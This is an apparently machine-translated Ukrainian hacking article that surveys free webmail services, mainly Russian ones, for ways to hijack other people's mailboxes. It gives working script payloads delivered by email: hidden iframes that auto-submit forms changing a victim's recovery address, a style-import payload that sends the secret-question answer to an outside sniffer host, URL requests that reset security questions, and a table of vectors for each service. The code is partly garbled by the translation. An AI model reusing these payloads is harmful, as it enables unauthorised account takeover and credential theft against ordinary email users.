ОГЛЯД вразливих БЕЗКОШТОВНИХ ПОШТОВИХ СЕРВІСІВ
Продовжуємо займатися web-поштою. Я провів невелике дослідження різних служб на предмет злому і представляю вашій увазі результати. Технологія атаки залишається колишньою: на чужу адресу надсилається лист з JavaScript-кодом, який спрацьовує при відкритті листа, і змінює будь-яку інформацію в налаштуваннях скриньки користувача. Немає сенсу докладно описувати кожен сервер, так як підхід всюди однаковий, тому наведу кілька прикладів, а в кінці - таблицю. У більшості випадків злом можна вважати 100% -ним, з деякими припущеннями: користувач повинен обов'язково використовувати web-інтерфейс для читання листів, при написанні експлойтів я орієнтувався на стандартну платформу, тобто спочатку припускаю, що у користувача не якась там екзотична ОС або браузер з відключеним виконанням JS.WWW.MAIL.RU
Почну з пошти №1 в Росії. На даний момент, завдяки пропускання JavaScript і одну помилку розробників, злом цього ящика здійснити можна. Вважаю, що основні принципи загальновідомі. Як отримати пароль? 1 - несанкціоновано змінити його. Не мине, потрібно знати раніше встановлений. 2 - поміняти секретне питання і скористатися службою боротьби з амнезією. Теж не пройде. 3 - встановити свій альтернативний Email, щоб отримати на нього новий, згенерований системою пароль. Чи не вийде, останні дві вишеперчісленних опції знаходяться в одній формі і також захищені паролем. Навіть інші, що представляють для нас менший інтерес настройки (Ім'я, прізвище і тд) тепер без введення поточного пароля змінити не вдасться. Здавалося б варіантів немає. Проте є такий другорядний за важливістю, непримітний розділ налаштувань "Контактна інформація" (ICQ, сайт, телефон, місце роботи, часовий пояс і тд). У цьому розділі можна також вказати контактний Email. Весь фокус у тому, що при цьому в реєстраційній інформації альтернативну адресу змінюється але той, що прописаний в анкеті, і тепер можна отримати пароль на мило, скориставшись службою нагадування. Все просто.
Правда методом GET зміну налаштувань в ящику mail.ru тепер зробити не можна, тому детально опишу технічну сторону питання. URL: http://win.mail.ru/cgi-bin/anketa?page=2&[email protected]
I. Відсилаємо на потрібний ящик лист з кодом, який згенерує безпосередньо в тілі листа фрейм з посиланням на наш сайт. По можливості скрипт повинен спрацьовувати без будь-якої участі користувача (натискання, клік, наведення мишкою, завантаження зображення і тд):
<Embed src = "javascript: document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.yourdomain.ru/yourscript.html> </ iframe>'; this.wav"> <P id = 'xxx'>Для того щоб повністю забезпечити працездатність скрипта, а так само маскування, перетворимо:
<Embed src = "javascript: status = location; document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.ru/yourscript.html width = 0 height = 0> </ iframe>' ; this.wav "width = 0 height = 0> <P id = 'xxx'>У такому вигляді, коди символів замінюють літери в імені елементів javascript і iframe, і поштовий скрипт не відфільтровує їх. Рядок status = location; створює в рядку стану видимість локального URL, щоб стороннє мелькання не викликало підозр. Атрибути width і height, як фрейми, так і embed задаються рівними нулю, і роблять їх невидимими.
II. На ресурсі http://yoursite.ru диспонуємо HTML-документ з формою відправки змінених даних на сервер mail.ru.
Вміст yourscript.html:
<Form method = "post" action = "http://win.mail.ru/cgi-bin/anketa" name = "anketa"> <br> <Input type = "hidden" name = "page" value = "2"> <br> <Input type = "hidden" name = "Email" value = "[email protected]"> <br> <Input type = "hidden" value = "Зберегти" name = "Save"> <br> </ Form> <br> <Script> <br> document.anketa.submit (); <br> </ Script>Примітки: роботу клієнтської частини скрипта в незміненому вигляді гарантую тільки для IE; форма відправки розміщується на окремому сайті спеціально, щоб "розвантажити" лист.
WWW.MAIL.COM
Тепер дещо інша помилка безпеки, на прикладі http://mail.com. Якщо скористатися службою нагадування пароля, то для його отримання досить ввести правильну відповідь на секретне питання (один з варіантів). Значить ставимо перед собою завдання отримати цю відповідь. Робиться це легко. Коли я зайшов в властивості поштової скриньки і просматрел реєстраційну інформацію, то уідел, що відповідь на секретне питання не приховується, що і дозволяє нам за допомогою JavaScript вважати його значення.Впроваджуємо скрипт через тег style.
Адреса сторінки з настройками: http://mail01.mail.com/scripts/common/genprofile.cgi
Ім'я форми: profileform
Ім'я поля text з секретним відповіддю: hint_a
У підсумку, щоб вкрасти секретне питання, потрібно викликати сторінку налаштувань, запустити JavaScript, отримати значення document.profileform.hint_a.value, і передати його на сниффер разом з змінного оточуючого середовища REQUEST_UR I.
Готовий варіант:
<Style> @import url (javascript: document.getElementById ( 'out'). InnerHTML = "<iframe src = http: //mail01.mail.com/scripts/common/genprofile.cgi name = 'zero'% 6FnLoad = `str = document.zero.profileform.hint_a.value; path = 'http: //zero.h12.ru/stat/capt.php?'; document.zero.location = path + str`> </ iframe>" ); </ style> <Span id = 'out'> </ span>У створеному кадрі, де ім'ям zero завантажується сторінка налаштувань. Після закінчення завантаження, обробник OnLoad запускає скрипт зчитування секретного питання, а після, через цей же фрейм відправляє відповідь на сниффер. Тепер досить зайти за адресою http://zero.h12.ru/stat/log.php, і знайти потрібну інформацію в рядку "Host".
WWW.NEWMAIL.RU
На мій погляд, досить популярний поштовик, тому розповім про нього детальніше. Тим більше, що заволодіти чужим аккаунтом на ньому набагато простіше ніж здається на перший погляд. Можна зробити так: відіслати листа зі скриптом, який при запуску отримає session id, сформує потрібні запити, і змінить в настройках значення альтренатівного email (на який потім вишле пароль) і секретного питання і відповіді. Однак, якщо при нагадуванні вказати будь-який інший адресу, пароль вишле і на нього, аби секретний відповідь була правильною. І наступне спостереження: session id для зміни налаштувань можна ВЗАГАЛІ не використовувати. Плюс до всього, дозволені будь-які теги. Все вищеописане зводить обсяг коду до пари рядків:<Iframe src = http: //newmail.ru/users/chpass.dhtml? Cp_msg = 1 & cp_quest = ПИТАННЯ & cp_answ = ВІДПОВІДЬ width = 0 height = 0> </ iframe>
WWW.E-MAIL.RU
Метод злому e-mail.ru дещо не вписується в загальну тематику статті, але все ж - пошта . Коли мені було потрібно отримати пароль від одного ящика, я як зазвичай зареєстрував собі аккаунт і почав досліджувати систему. Перше, що впало в очі - можливість встановити новий пароль і секретне питання з відповіддю, без введення старого пароля. План дій звичайний: перевірити фільтрацію тегів, отримати ID і виконати запит. Однак для зміни налаштувань використовувалася спеціальна змінна utoken, яка міститься в тілі документа. Поекспериментувавши зі зміною питання і відповіді із заздалегідь відомою utoken:
я прийшов до висновку, що ID і cookies для зміни налаштувань не потрібно. При цьому, після спостереження за utoken, виявилося що чотиризначний шестнадцатиричное число після адреси пошти [email protected] лежить в дуже вузькому діапазоні. А саме, щоб встановити секретний питання з відповіддю на будь-яку відповідну нас ящику, потрібно перебрати всього 7 варіантів: 5a00, 5b00, 5c00, 5d00, 5e00, 5f00, 6000.
Коли число буде вгадано, ми потрапимо в потрібний ящик. http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ
Примітки: на даний момент відбулися деякі зміни. Служба відновлення паролів не працює, тому доцільно відразу його змінювати. Адреса зміни настройки теж змінився:
Спосіб працює не завжди. Ймовірно, все-таки потрібно, щоб користувач час від часу заходив в пошту через web.
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ
Таблиця з характеристиками безкоштовних WWW-серверів
СЕРВЕР | JavaScript | Вразливість |
www.km.ru
km.ru |
img src = javascript: | Дозволяє прочитати пароль зі сторінки налаштувань з поля password |
www.mail.ru
inbox.ru , bk.ru , list.ru , |
embed src = javascript: | Можна змінити альтернативний email |
www.mail.com
email.com , post.com , myself.com , consultant.com і ін. |
@ Import url (javascript:); | В налаштуваннях показаний відповідь на секретне питання |
www.newmail.ru
nm.ru , hotmail.ru , orc.ru , nightmail.ru |
Будь-яким методом | Прочитати / змінити питання і відповідь. Пароль видається діючий |
www.netman.ru і www.mailgate.ru
один і той же поштовик. близько 80 доменів |
img src = javascript:, style = background: url (javascript:) | Можна вкрасти відповідь на секретне питання, якщо він встановлений. Також можливо устновіть адреса для пересилки (копії не зберігаються) |
www.yandex.ru | OnError, OnLoad | Видалення сайту * .narod.ru (JS не потрібно) |
www.ukr.net | embed src = javasc ript: this .wav> |
Прочитуємо відповідь на секретне питання |
www.nextmail.ru
xaker.ru , email.su , russian.ru , students.ru , programist.ru , designer.ru , mail2k.ru , |
embed src = "javascript: | Поміняти / вкрасти відповідь на секретне питання |
www.hotbox.ru
pochta.ru , pisem.net , fromru.com , land.ru , і ін. |
багатьма способами | Видалення акаунта |
www.rin.ru | embed src = javascript: | Прочитати секретний відповідь |
Коментарі
Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.